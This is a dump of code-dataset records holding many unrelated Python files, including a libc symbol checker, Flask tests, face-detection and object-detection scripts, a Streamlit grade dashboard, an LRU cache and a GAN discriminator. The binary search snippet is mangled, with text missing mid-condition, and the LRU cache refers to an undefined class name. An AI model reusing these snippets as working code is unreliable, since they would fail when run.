GLOBAL DEFAULT 11 __fe_dfl_env\n # 268: 00000000 0 FUNC GLOBAL DEFAULT UND __aeabi_dcmplt\n\n\n r = re.compile(r' +\\d+: [0-9a-f]+ +\\d+ (FUNC|OBJECT) +\\S+ +\\S+ +\\d+ (\\S+)')\n\n actual_symbols = set()\n for line in subprocess.check_output(['readelf', '--dyn-syms', so_file]).split('\\n'):\n m = r.match(line)\n if m:\n if m.group(1) == 'FUNC' and functions_or_variables == 'functions':\n actual_symbols.add(m.group(2))\n elif m.group(1) == 'OBJECT' and functions_or_variables == 'variables':\n actual_symbols.add(m.group(2))\n #else:\n #print 'ignoring: ' % line\n\n missing = expected_symbols - actual_symbols\n if len(missing) > 0:\n sys.stderr.write('%d missing %s in %s for %s:\\n' % (len(missing), functions_or_variables, library, arch))\n for miss in sorted(missing):\n sys.stderr.write(' %s\\n' % miss)\n\n return len(missing) == 0\n\nCheckSymbols(\"libc\", \"functions\")\nCheckSymbols(\"libc\", \"variables\")\nCheckSymbols(\"libm\", \"functions\")\nCheckSymbols(\"libm\", \"variables\")\n\nsys.exit(0)\n","repo_name":"CyFI-Lab-Public/RetroScope","sub_path":"bionic/libc/tools/check-symbols.py","file_name":"check-symbols.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"78"} +{"seq_id":"23767168866","text":"lst=[12,3,1,6,55,76,55]\nprint(lst )\nlst.sort()\nelement=int(input(\"enter the element to b searched:\"))\n#print(lst)\nflag=0\nlow=0\nupp=len(lst)-1\n\nwhile(low<=upp):\n mid=(low+upp)//2\n if (element>lst[mid]):\n low=mid+1\n elif (element0):\n print(\"element found in list\")\nelse:\n print(\"element not found in list\")\n","repo_name":"nivi2021python/luminarpython","sub_path":"collections/list/binarysearch.py","file_name":"binarysearch.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31085591003","text":"import json\n\nfrom flask import url_for\n\n\ndef request_without_required_field(client, url, data, field):\n value = data[field]\n data.pop(field)\n response = client.post(\n url,\n data=json.dumps(data),\n follow_redirects=True,\n content_type=\"application/json\",\n )\n data[field] = value\n return response\n\n\ndef test_validation_request_data(app, billing_table_endpoint_request_data):\n client = app.test_client()\n url = url_for(\"billing.get-filtered-billing-table-data\")\n for key in billing_table_endpoint_request_data:\n response = request_without_required_field(\n client, url, billing_table_endpoint_request_data, key\n )\n error_msg = response.json\n assert response.status_code == 400\n assert error_msg\n\n\ndef test_billing_table_endpoint_response_data(\n app,\n client,\n clusters,\n teams,\n projects,\n servers,\n services_groups,\n services,\n billing_batch_stories,\n metrics,\n billing_table_endpoint_request_data,\n):\n url = url_for(\"billing.get-filtered-billing-table-data\")\n response = client.post(\n url,\n data=json.dumps(billing_table_endpoint_request_data),\n follow_redirects=True,\n content_type=\"application/json\",\n )\n assert response.status_code == 200\n resp_data = response.json.get(\"table_data\")\n assert len(resp_data) == 5\n","repo_name":"sychsergiy/Griphook","sub_path":"griphook/server/billing/tests/test_billing_table.py","file_name":"test_billing_table.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"17108264859","text":"import cv2\r\nfrom mtcnn import MTCNN\r\nimport datetime\r\n\r\nprint(datetime.datetime.now())\r\ndetector = MTCNN()\r\nimage = cv2.cvtColor(cv2.imread(\"../images_know/papa1.jpg\"), cv2.COLOR_BGR2RGB)\r\nresult = detector.detect_faces(image)\r\nbounding_box = result[0]['box']\r\nkeypoints = result[0]['keypoints']\r\ncv2.rectangle(image,\r\n (bounding_box[0], bounding_box[1]),\r\n (bounding_box[0] + bounding_box[2], bounding_box[1] + bounding_box[3]),\r\n (0, 155, 255), 2)\r\ncv2.circle(image, (keypoints['left_eye']), 2, (0, 155, 255), 2)\r\ncv2.circle(image, (keypoints['right_eye']), 2, (0, 155, 255), 2)\r\ncv2.circle(image, (keypoints['nose']), 2, (0, 155, 255), 2)\r\ncv2.circle(image, (keypoints['mouth_left']), 2, (0, 155, 255), 2)\r\ncv2.circle(image, (keypoints['mouth_right']), 2, (0, 155, 255), 2)\r\n\r\nprint(datetime.datetime.now())\r\n\r\ncv2.imwrite(\"ivan_drawn.jpg\", cv2.cvtColor(image, cv2.COLOR_RGB2BGR))\r\nprint(result)\r\n","repo_name":"Argento-prg/Face_ID","sub_path":"code/TEMP/mtcnn_test.py","file_name":"mtcnn_test.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41904582568","text":"import streamlit as st\nimport dask.dataframe as dd\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport plotly.express as px\n\nst.markdown('## MEP3 Historical Gradebook Dashboard')\nst.write(\"This dashboard summarizes student grades in semesters when Dr. Narendranath was one of the instructors of MEP3.\")\nst.write(\" \")\ndf = dd.read_csv('*_*.csv')\n#print(df.columns)\n#df.dtypes\n\nu = np.unique(df['Semester'])\n#print(u[0])\n\nsem = st.sidebar.selectbox('Select semester of interest:', ['Fall 2017', 'Spring 2018', 'Fall 2018', 'Spring 2019', 'Fall 2019', 'Fall 2020', 'Spring 2021'])\nts = st.sidebar.slider('Select threshold final score:', max_value = 100, min_value=0)\nst.sidebar.markdown(\"---\")\nst.sidebar.markdown(\"Created by Dr. Narendranath using Python and Streamlit. Confidential student identifier information has not been used in this dashboard.\")\ncol1, col2, col3 = st.beta_columns(3)\n\n\nwith col1:\n\tst.markdown(\"#### Total students in the selected semester:\")\n\t#total_students_this_sem = df[(df['Semester'] == sem)['Final Score'].count().compute()\n\tdf_temp = pd.DataFrame({'Final Score': df[df['Semester'] == sem]['Final Score'].compute(), 'Threshold met':df[df['Semester'] == sem]['Final Score'].compute()>=ts })\n\t#st.table(df_temp)\t\n\ttotal = df[df['Semester'] == sem]['Final Score'].count().compute()\n\tst.write(total)\n\nwith col2:\n\tst.markdown('#### Number of students with final score >= threshold score:')\n\tmet_threshold = df[(df['Semester'] == sem) & (df['Final Score'] >= ts)]['Final Score'].count().compute()\n\tst.write(df[(df['Semester'] == sem) & (df['Final Score'] >= ts)]['Final Score'].count().compute())\n\nwith col3:\n\tst.markdown(\"#### Percentage of students with final score >= threshold score:\")\n\tst.write(np.round(met_threshold*100/total,1))\n\nst.markdown(\"#### Class average and standard deviation in the selected semester:\")\nst.write(\"(\", np.round(df[df['Semester'] == sem]['Final Score'].mean().compute(),1), \",\", np.round(df[df['Semester'] == sem]['Final Score'].std().compute(),1),\")\")\n\n\n\nst.markdown(\"#### Grade Distribution in selected semester\")\nfig = px.histogram(df_temp['Final Score'])\nfig.update_xaxes(range=[0, 100])\nfig.update_yaxes(range = [0, df['Final Score'].max().compute() + 5])\nst.plotly_chart(fig)\n\n\nex = st.beta_expander('Expand this to see instructional and teaming features for the selected semester.')\nwith ex:\n if sem == 'Fall 2017':\n st.markdown(' - First time teaching MEP3')\n st.markdown(' - inclass software demos.')\n elif sem == 'Spring 2018':\n st.markdown('- inclass software demos.')\n elif sem == 'Fall 2018':\n st.markdown(' - First time with fully inverted classroom.')\n elif sem == 'Spring 2019':\n st.markdown(' - Fully inverted classroom.')\n st.markdown(' - First time with Some teams with more than 4 students.')\n elif sem == 'Fall 2019':\n st.markdown('- Fully inverted classroom.' )\n st.markdown(' - Some teams with more than 4 students')\n elif sem == 'Fall 2020':\n st.markdown('- Fully inverted classroom.')\n st.markdown('- Fully remote.')\n st.markdown('- All teams with more than 4 students.')\n elif sem == 'Spring 2021':\n st.markdown('- Fully inverted classroom.')\n st.markdown('- Fully remote.')\n st.markdown('- All teams with more than 4 students.')\n st.markdown('- Significant number of COVID related absences.')\n#eof\n","repo_name":"dnaneet/career","sub_path":"mep3_grades.py","file_name":"mep3_grades.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28480694401","text":"def disan(nums,threshold):\n import math\n t = 1\n while 1:\n su = 0\n for i in nums:\n su += math.ceil(i/t)\n if su > threshold:\n t += 1\n else:\n return t\n\nprint(disan([2,3,5,7,11],11))","repo_name":"gschen/where2go-python-test","sub_path":"1906101041刘仕豪/力扣周赛/166 第三题.py","file_name":"166 第三题.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"39423533834","text":"import argparse\nimport cv2\n\n# Credit to djmv at https://github.com/djmv/MobilNet_SSD_opencv for\n# instructions on how to use MobileNet for Object Detection\n\n# Structuring the parser for the MobileNet model using the argparse library\narg_parser = argparse.ArgumentParser(description=\"This is a script that runs the MobileNet Object Detection\")\n\n# Setting the prototxt file for MobileNet\narg_parser.add_argument(\"--prototxt\", default=\"MobileNetSSD_deploy.prototxt\")\n\n# Setting the Caffe model/weights for MobileNet\narg_parser.add_argument(\"--weights\", default=\"MobileNetSSD_deploy.caffemodel\")\n\n# Filtering out unnecessary predictions\narg_parser.add_argument(\"--thr\", default=0.2, type=float)\nargs = arg_parser.parse_args()\n\n# Filtering out MobileNet Labels to only include\n# labels that identify a person\nlabels = {15: 'person'}\n\n# Opening the camera feed\ncam = cv2.VideoCapture(0)\n\n# Loading the deep neural network with the above parser arguments\nnetwork = cv2.dnn.readNetFromCaffe(args.prototxt, args.weights)\n\nwhile True:\n # Capturing video feed frame-by-frame\n ret, img = cam.read()\n img_resized = cv2.resize(img, (300, 300))\n\n # Dimensions for input images\n blob = cv2.dnn.blobFromImage(img_resized, 0.007843, (300, 300), (127.5, 127.5, 127.5), False)\n\n # Setting network to input blob\n network.setInput(blob)\n\n # Network Prediction(s)\n predictions = network.forward()\n\n # Size of the resized frame (should be 300x300 pixels)\n columns = img_resized.shape[1]\n rows = img_resized.shape[0]\n\n # Obtaining the label/location of detected object(s)\n for i in range(predictions.shape[2]):\n confidence = predictions[0, 0, i, 2] # How much does an image match other images in the dataset\n if confidence > args.thr: # Filtering the predictions\n label_id = int(predictions[0, 0, i, 1]) # Labels\n\n # The object(s) location in each individual frame\n xLB = int(predictions[0, 0, i, 3] * columns)\n yLB = int(predictions[0, 0, i, 4] * rows)\n xRT = int(predictions[0, 0, i, 5] * columns)\n yRT = int(predictions[0, 0, i, 6] * rows)\n\n # Scale factor to original size of frame\n height = img.shape[0]/300.0\n width = img.shape[1]/300.0\n\n # Scaling object detection to size of current frame\n xLB = int(width * xLB)\n yLB = int(height * yLB)\n xRT = int(width * xRT)\n yRT = int(height * yRT)\n\n # Drawing the location(s) of the detected object(s)\n cv2.rectangle(img, (xLB, yLB), (xRT, yRT), (0, 255, 0))\n\n # Drawing the label and confidence of the prediction(s) (percent match)\n if label_id in labels:\n # Narrowing confidence to 5 decimal places, so it isn't a very small number\n label = labels[label_id] + \": \" + str(round(confidence, 5))\n label_size, base = cv2.getTextSize(label, cv2.FONT_HERSHEY_SIMPLEX, 0.5, 1)\n\n yLB = max(yLB, label_size[1])\n\n # Displaying label/confidence of the detected object\n cv2.rectangle(img, (xLB, yLB - label_size[1]),\n (xLB + label_size[0], yLB + base),\n (255, 255, 255), cv2.FILLED)\n cv2.putText(img, label, (xLB, yLB),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0))\n\n cv2.imshow(\"Rescue Robot Demo (Press ESC to Exit)\", img)\n if cv2.waitKey(1) >= 0: # Press ESC key to close\n break\n\ncam.release()\ncv2.destroyAllWindows()\ncv2.waitKey(1)\n","repo_name":"TeaganLong/Capstone-Long-Vinton","sub_path":"ObjectDetection/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70873655293","text":"def characters_between(start: str, end: str):\n start = ord(start)\n end = ord(end)\n if start < end:\n for letter in range(start + 1, end):\n print(chr(letter), end=' ')\n else:\n for i in range(end + 1, start, -1):\n print(chr(i), end=' ')\n\n\na = input()\nb = input()\ncharacters_between(a, b)\n","repo_name":"KaloyankerR/python-fundamentals-repository","sub_path":"Assignments/Functions/Exercise/03. Characters in Range.py","file_name":"03. Characters in Range.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5101630151","text":"# you can write to stdout for debugging purposes, e.g.\n# print(\"this is a debug message\")\nimport string\n\ndef overflowCheck(currArray):\n maxValue = 1048575 #2^20-1\n #print(\"WHAT\", currArray)\n N = min(len(currArray), 5)\n if(N==1):\n value = currArray[0]\n #print(currArray, value > maxValue, value - maxValue, value, maxValue)\n if(value < 0): return 0\n if(value > maxValue): return 0\n for i in range(1, N):\n value = currArray[-i]\n #print(currArray, value > maxValue, value - maxValue, value, maxValue)\n if(value < 0): return 0\n if(value > maxValue): return 0\n return currArray\n\ndef dup(currArray):\n if(len(currArray)<1):\n return 0\n currArray.append(currArray[-1])\n return overflowCheck(currArray)\n\ndef pop(currArray):\n if(len(currArray)<1):\n return 0\n currArray = currArray[:-1]\n return overflowCheck(currArray)\n\ndef plus(currArray):\n if(len(currArray)<2):\n return 0\n addValue = currArray[-1]+currArray[-2]\n currArray = currArray[:-2]\n currArray.append(addValue)\n return overflowCheck(currArray)\n\ndef minus(currArray):\n if(len(currArray)<2):\n return 0\n addValue = currArray[-1]-currArray[-2]\n currArray = currArray[:-2]\n currArray.append(addValue)\n return overflowCheck(currArray)\n\ndef addNum(currArray, strNum):\n intNum = int(strNum)\n currArray.append(intNum)\n return overflowCheck(currArray)\n\ndef queryProcesser(currArray, query):\n if(len(query)==0): return 0\n if(query == \"DUP\"):\n return dup(currArray);\n elif(query == \"POP\"):\n return pop(currArray);\n elif(query == \"+\"):\n return plus(currArray);\n elif(query == \"-\"):\n return minus(currArray);\n else:\n return addNum(currArray, query);\n return 0\n\ndef solution(S):\n arr = []\n S = S.upper()\n queries = S.split(\" \")\n for query in queries:\n result = queryProcesser(arr, query)\n #print(query, arr)\n if(result == 0):\n return -1\n arr = result\n if(len(arr)<1): return -1\n return arr[-1]\n #print(queries)\n\nprint(solution(\"104857 2 + DUP +\"))","repo_name":"danganhvu1998/myINIAD","sub_path":"code/PythonINIAD/wantedly/pro2.py","file_name":"pro2.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"42113305114","text":"# import required libraries\nimport requests\n\n# start a requests session\nsession = requests.Session()\n\n# request the data packet by using the URL from the developer tools\ndisaster_data_string = session.get('http://www.gdacs.org/xml/archive.geojson').text\n\n# check that we've got the correct data\nprint(disaster_data_string)","repo_name":"twhi/Worldwide-disaster-report-generator","sub_path":"step1.py","file_name":"step1.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40290574564","text":"from idg2sl import SyntheticLethalInteraction\nfrom idg2sl.sl_dataset_parser import SL_DatasetParser\nfrom .sl_constants import SlConstants\n\n\nclass Baldwin2010Parser(SL_DatasetParser):\n def __init__(self, fname=None):\n pmid = \"20616055\"\n super().__init__(fname=fname, pmid=pmid)\n\n def parse(self):\n sl_genes = {'SGK2', 'PAK3'}\n tp53 = 'TP53'\n pmid = '20616055'\n tp53id = self.get_ncbigene_curie(tp53)\n sli_list = []\n for geneB in sl_genes:\n geneBid = self.get_ncbigene_curie(geneB)\n sli = SyntheticLethalInteraction(gene_A_symbol=tp53,\n gene_A_id=tp53id,\n gene_B_symbol=geneB,\n gene_B_id=geneBid,\n gene_A_pert=SlConstants.DEGRADATION,\n gene_B_pert=SlConstants.SH_RNA,\n effect_type=SlConstants.N_A,\n effect_size=SlConstants.N_A,\n cell_line='primary human foreskin keratinocytes',\n cellosaurus_id=SlConstants.N_A,\n cancer_type=SlConstants.N_A,\n ncit_id=SlConstants.N_A,\n assay=SlConstants.CELL_VIABILITY_ASSAY,\n pmid=pmid,\n SL=True)\n sli_list.append(sli)\n return sli_list","repo_name":"monarch-initiative/SLDBGen","sub_path":"idg2sl/parsers/baldwin_2010_parser.py","file_name":"baldwin_2010_parser.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"7085289887","text":"def fatorial(num, show=False):\r\n \"\"\" \r\n - Cálculo de fatorial de um número\r\n :param num: o número que será calculado\r\n :param show: (opcional) se irá mostrar ou não a conta\r\n :return: o valor do fatorial de 'num'\r\n \"\"\" #docstring\r\n\r\n f = 1\r\n for cont in range(num, 0, -1):\r\n if show:\r\n print(cont, end='')\r\n if cont > 1:\r\n print(' x ', end='')\r\n else:\r\n print(' = ', end='')\r\n f *= cont\r\n return f\r\n\r\n\r\nprint(fatorial(9, show=True))\r\nhelp(fatorial)","repo_name":"LucasRestivo/PycharmProjects","sub_path":"funcoes_102.py","file_name":"funcoes_102.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17479998651","text":"class LRUCache:\n \n class ListNode:\n def __init__(self, val):\n self.val = val\n self.next = None\n self.pre = None\n \n # @param capacity, an integer\n def __init__(self, capacity):\n # write your code here\n self.cache = {}\n self.nodeMap = {}\n self.queue = ListNode(0)\n self.tail = self.queue\n self.capacity = capacity\n self.length = 0\n\n # @return an integer\n def get(self, key):\n # write your code here\n if key not in self.cache:\n return -1\n # 删除queue中节点\n node = self.nodeMap[key]\n node.pre.next = node.next\n if node.next:\n node.next.pre = node.pre\n if node == self.tail:\n self.tail = node.pre\n # queue最后插入节点\n self.tail.next = ListNode(key)\n self.tail.next.pre = self.tail\n self.tail = self.tail.next\n self.nodeMap[key] = self.tail\n return self.cache.get(key, -1)\n \n # @param key, an integer\n # @param value, an integer\n # @return nothing\n def set(self, key, value):\n # write your code here\n if key in self.nodeMap:\n self.length -= 1\n node = self.nodeMap[key]\n node.pre.next = node.next\n if node.next:\n node.next.pre = node.pre\n if node == self.tail:\n self.tail = node.pre\n self.tail.next = None\n # queue最后插入节点\n self.tail.next = ListNode(key)\n self.tail.next.pre = self.tail\n self.tail = self.tail.next\n self.nodeMap[key] = self.tail\n \n self.cache[key] = value\n self.length += 1 \n if self.length > self.capacity:\n node = self.queue.next\n self.queue.next = self.queue.next.next\n if self.queue.next:\n self.queue.next.pre = self.queue\n del self.cache[node.val]\n del self.nodeMap[node.val]\n self.length -= 1\n \n ","repo_name":"cy-zheng/lintcode","sub_path":"九章算法/8 - 哈希表与堆/必做/lru-cache.py","file_name":"lru-cache.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"42731886818","text":"from temperature_gui import *\n\ndef signals(self):\n # Link the verticalSliders' valueChanged signual\n self.verticalSliderC.valueChanged['int'].connect(self.slider_c) \n self.verticalSliderF.valueChanged['int'].connect(self.slider_f)\n\ndef slider_c(self):\n self.lineEditC.setText(str(self.verticalSliderC.value()))\n f = self.verticalSliderC.value()*(9/5) + 32\n self.verticalSliderF.setValue(round(f))\n\ndef slider_f(self):\n self.lineEditF.setText(str(self.verticalSliderF.value()))\n c = (5/9) * (self.verticalSliderF.value() - 32)\n self.verticalSliderC.setValue(round(c))\n\nUi_MainWindow.signals = signals\nUi_MainWindow.slider_c = slider_c\nUi_MainWindow.slider_f = slider_f\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n MainWindow = QtWidgets.QMainWindow()\n ui = Ui_MainWindow()\n ui.setupUi(MainWindow)\n ui.signals()\n MainWindow.show()\n sys.exit(app.exec_())\n\n","repo_name":"yongtwang/engineering-python","sub_path":"17C_PyQt_and_Qt_Designer_Temperature_Converter/temperature.py","file_name":"temperature.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"78"} +{"seq_id":"26676476430","text":"import os\nfrom time import sleep\n\npdf_mess = r'C:\\Users\\kgunn\\Desktop\\print test'\n# pdf_mess = input('Copy and paste the folder path and hit enter.')\n\nfiles = []\nfor filename in os.listdir(pdf_mess):\n files.append(filename)\n\n\nlists = []\nfor name in files:\n lists.append(pdf_mess + '\\\\' + name)\n\n\nlist_length = len(lists)\nattempt = 0\n\nwhile attempt < list_length:\n for files_print in lists:\n os.startfile(files_print, 'print')\n sleep(10)\n print(f'Printed ---> {files_print} ')\n attempt += 1\n","repo_name":"KPGunner/Directory-Print","sub_path":"print.py","file_name":"print.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35037351575","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\n\n@author: Alex Shoop (akshoop)\n\nHW5, question 1)\n\n\"\"\"\n\n# importing the necessary packages\nimport numpy as np\nfrom numpy import exp, log, sqrt, pi\n\n##############################################################################\n\n# initial var\nN = 100000\n\n# defining our g(X) function, aka Y = indicator of (X >= a)\ndef funcY(x, a):\n if x >= a:\n return 1\n else:\n return 0\n\n# N sample points of X and Y rv\nX_vals = np.random.standard_normal(N)\n\n# let a = 3\na_1 = 3\n\nY_vals1 = []\nfor i,X_value in enumerate(X_vals):\n Y_vals1.append(funcY(X_value, a_1))\n\n# b_optimal value which was calculated from Q1 part a\nb_optimal_1 = 1/sqrt(2*pi)*exp(-a_1**2 /2.)\n\n# new sampling, using the control variate\n# note, E{X] = G is always 0, because X is standard normal rv.\nControlVariateEstimator1 = Y_vals1 - b_optimal_1 * (X_vals - 0)\n\nValueEstimation_1 = np.mean(ControlVariateEstimator1)\n\nprint(\"The estimation value (with a = 3) is: \")\nprint(ValueEstimation_1)\n\n#####################################\n# let a = 8\na_2 = 8\nY_vals2 = []\nfor i,X_value in enumerate(X_vals):\n Y_vals2.append(funcY(X_value, a_2))\n \n# b_optimal value which was calculated from Q1 part a\nb_optimal_2 = 1/sqrt(2*pi)*exp(-a_2**2 /2.)\n\n# new sampling, using the control variate\n# note, E{X] = G is always 0, because X is standard normal rv.\nControlVariateEstimator2 = Y_vals2 - b_optimal_2 * (X_vals - 0)\n\nValueEstimation_2 = np.mean(ControlVariateEstimator2)\n\nprint(\"The estimation value (with a = 8) is: \")\nprint(ValueEstimation_2)","repo_name":"akshoop/MA573_ComputationalMethods","sub_path":"HW5/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"40467436755","text":"class Node:\n def __init__(self, val=0, next:'Node'=None):\n self.val = val\n self.next = next\n\n def __str__(self):\n return f'{self.val} -> {self.next}'\n\ndef partition(head: Node) -> Node:\n if not head or not head.next:\n return head\n \n smaller = Node()\n larger = Node()\n \n cur = head\n small_cur = smaller\n large_cur = larger\n \n while cur:\n if cur.val < head.val:\n small_cur.next = cur\n small_cur = cur\n else:\n large_cur.next = cur\n large_cur = cur\n cur = cur.next\n \n small_cur.next = larger.next\n large_cur.next = None\n \n return smaller.next\n\ne1 = Node(4)\ne2 = Node(3)\ne3 = Node(5)\ne4 = Node(9)\ne5 = Node(2)\ne6 = Node(7)\ne7 = Node(1)\n\n\ne1.next = e2\ne2.next = e3\ne3.next = e4\ne4.next = e5\ne5.next = e6\ne6.next = e7\n\nprint(e1)\n\nprint(partition(e1))\n\n\n\n","repo_name":"joshika39/college","sub_path":"semester_II/algo_I/gyak4/partition.py","file_name":"partition.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27682864745","text":"from multiprocessing import Manager, Process\nimport random\n\n\ndef multiplication_matrices(matrix1, matrix2):\n matrix_1_columns_quanity, matrix_1_rows_quanity = len(matrix1[0]), len(matrix1)\n matrix_2_columns_quanity, matrix_2_rows_quanity = len(matrix2[0]), len(matrix2)\n result_width = matrix_2_columns_quanity\n result_height = matrix_1_rows_quanity\n result = [[0 for width in range(result_width)] for height in range(result_height)]\n with Manager() as manager:\n result_manager = manager.list(result)\n row_calculation_processes = []\n for matrix1_row_index in range(matrix_1_rows_quanity):\n row_calculation_process = Process(\n target=result_row_calculation,\n args=(\n result_manager,\n matrix1_row_index,\n matrix_2_columns_quanity,\n matrix_2_rows_quanity,\n ),\n )\n row_calculation_process.start()\n row_calculation_processes.append(row_calculation_process)\n for row_calculation_process in row_calculation_processes:\n row_calculation_process.join()\n print(result_manager)\n\n\ndef result_row_calculation(\n result,\n row_index,\n matrix_2_columns_quanity,\n matrix_2_rows_quanity,\n):\n result_row = result[row_index]\n for matrix2_column_index in range(matrix_2_columns_quanity):\n for matrix2_row_index in range(matrix_2_rows_quanity):\n result_row[matrix2_column_index] += (\n matrix1[row_index][matrix2_row_index]\n * matrix2[matrix2_row_index][matrix2_column_index]\n )\n result[row_index] = result_row\n\n\nif __name__ == \"__main__\":\n \"\"\"First matrix, we will multiplicate\"\"\"\n matrix1 = [[random.randrange(1, 10) for width in range(3)] for height in range(3)]\n\n \"\"\"Second matrix, we will multiplicate\"\"\"\n matrix2 = [[random.randrange(1, 10) for width in range(3)] for height in range(3)]\n\n multiplication_matrices(matrix1, matrix2)\n","repo_name":"sasha-ajin/matrices-multiplication","sub_path":"multi_process_solution.py","file_name":"multi_process_solution.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26614560830","text":"import os\nimport torch\nfrom torch import nn\nfrom .dataset import CAPTCHA_LEN, IMAGE_CC, IMAGE_SIZE\n\n\nclass DiscriminatorNet(nn.Module):\n '''\n\n '''\n\n def __init__(self):\n super().__init__()\n\n si = IMAGE_CC\n c1 = int(IMAGE_SIZE[0] * IMAGE_SIZE[1] / 32)\n c2 = int(IMAGE_SIZE[0] * IMAGE_SIZE[1] / 16)\n c3 = int(IMAGE_SIZE[0] * IMAGE_SIZE[1] / 8)\n c4 = int(IMAGE_SIZE[0] * IMAGE_SIZE[1] / 4)\n\n self.lv1 = nn.Sequential(\n # => (3, ,)\n nn.Conv2d(\n si,\n c1,\n kernel_size=(4, 4),\n stride=(2, 2),\n padding=(1, 1),\n bias=False\n ),\n nn.BatchNorm2d(c1),\n nn.LeakyReLU(0.2, inplace=True),\n )\n\n self.lv2 = nn.Sequential(\n # => (, , )\n nn.Conv2d(\n c1,\n c2,\n kernel_size=(4, 4),\n stride=(2, 2),\n padding=(1, 1),\n bias=False\n ),\n nn.BatchNorm2d(c2),\n nn.LeakyReLU(0.2, inplace=True),\n )\n\n self.lv3 = nn.Sequential(\n # => (, , )\n nn.Conv2d(\n c2,\n c3,\n kernel_size=(4, 4),\n stride=(2, 2),\n padding=(1, 1),\n bias=False\n ),\n nn.BatchNorm2d(c3),\n nn.LeakyReLU(0.2, inplace=True),\n )\n\n self.lv4 = nn.Sequential(\n # => (, , )\n nn.Conv2d(\n c3,\n c4,\n kernel_size=(4, 4),\n stride=(3, 3),\n padding=(1, 1),\n bias=False\n ),\n nn.BatchNorm2d(c4),\n nn.LeakyReLU(0.2, inplace=True),\n )\n\n self.out = nn.Sequential(\n # => (, ,)\n nn.Conv2d(\n c4,\n 1,\n kernel_size=(3, 3),\n stride=(3, 3),\n padding=0,\n bias=False\n ),\n nn.Sigmoid()\n )\n\n def forward(self, x):\n # print(f'd in size: {x.size()}')\n x = self.lv1(x)\n # print(f'x 0 size: {x.size()}')\n x = self.lv2(x)\n # print(f'x 1 size: {x.size()}')\n x = self.lv3(x)\n # print(f'x 2 size: {x.size()}')\n x = self.lv4(x)\n # print(f'x 3 size: {x.size()}')\n x = self.out(x)\n # print(f'd out size: {x.size()}')\n return x\n\n def load(self, path):\n '''\n '''\n\n if os.path.isfile(path):\n d = torch.load(path)\n self.load_state_dict(d)\n\n def save(self, path):\n '''\n '''\n\n d = self.state_dict()\n torch.save(d, path)\n","repo_name":"chaosannals/exert-pytorch","sub_path":"olddemo/exert/captgan/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1764666262","text":"from typing import List\n\n\nclass Solution:\n def numSubarrayProductLessThanK(self, nums: List[int], k: int) -> int:\n n = len(nums)\n l = 0\n prod = 1\n count = 0\n for r in range(n):\n prod *= nums[r]\n while prod >= k and l <= r:\n prod //= nums[l]\n l += 1\n count += r-l+1\n return count\n\n\ncases = [[[10, 5, 2, 6], 100], [[1, 2, 3], 0]]\nfor case in cases:\n print(Solution().numSubarrayProductLessThanK(case[0], case[1]))\n","repo_name":"andylilfs0217/leet_code","sub_path":"medium/0713_subarray_product_less_than_k.py","file_name":"0713_subarray_product_less_than_k.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"8407524350","text":"l = [5, 2, 1, 19, 4]\r\n\r\nl2 = []\r\nfor element in l:\r\n l2.append(element ** 2)\r\n\r\nfor i in range(len(l)):\r\n l[i] = l[i] ** 2\r\n\r\n\r\nprint(l)\r\nprint(l2)\r\n\r\n","repo_name":"AQuaintExpression/webex_telacad_c3","sub_path":"Course_3/liste_3.py","file_name":"liste_3.py","file_ext":"py","file_size_in_byte":157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} 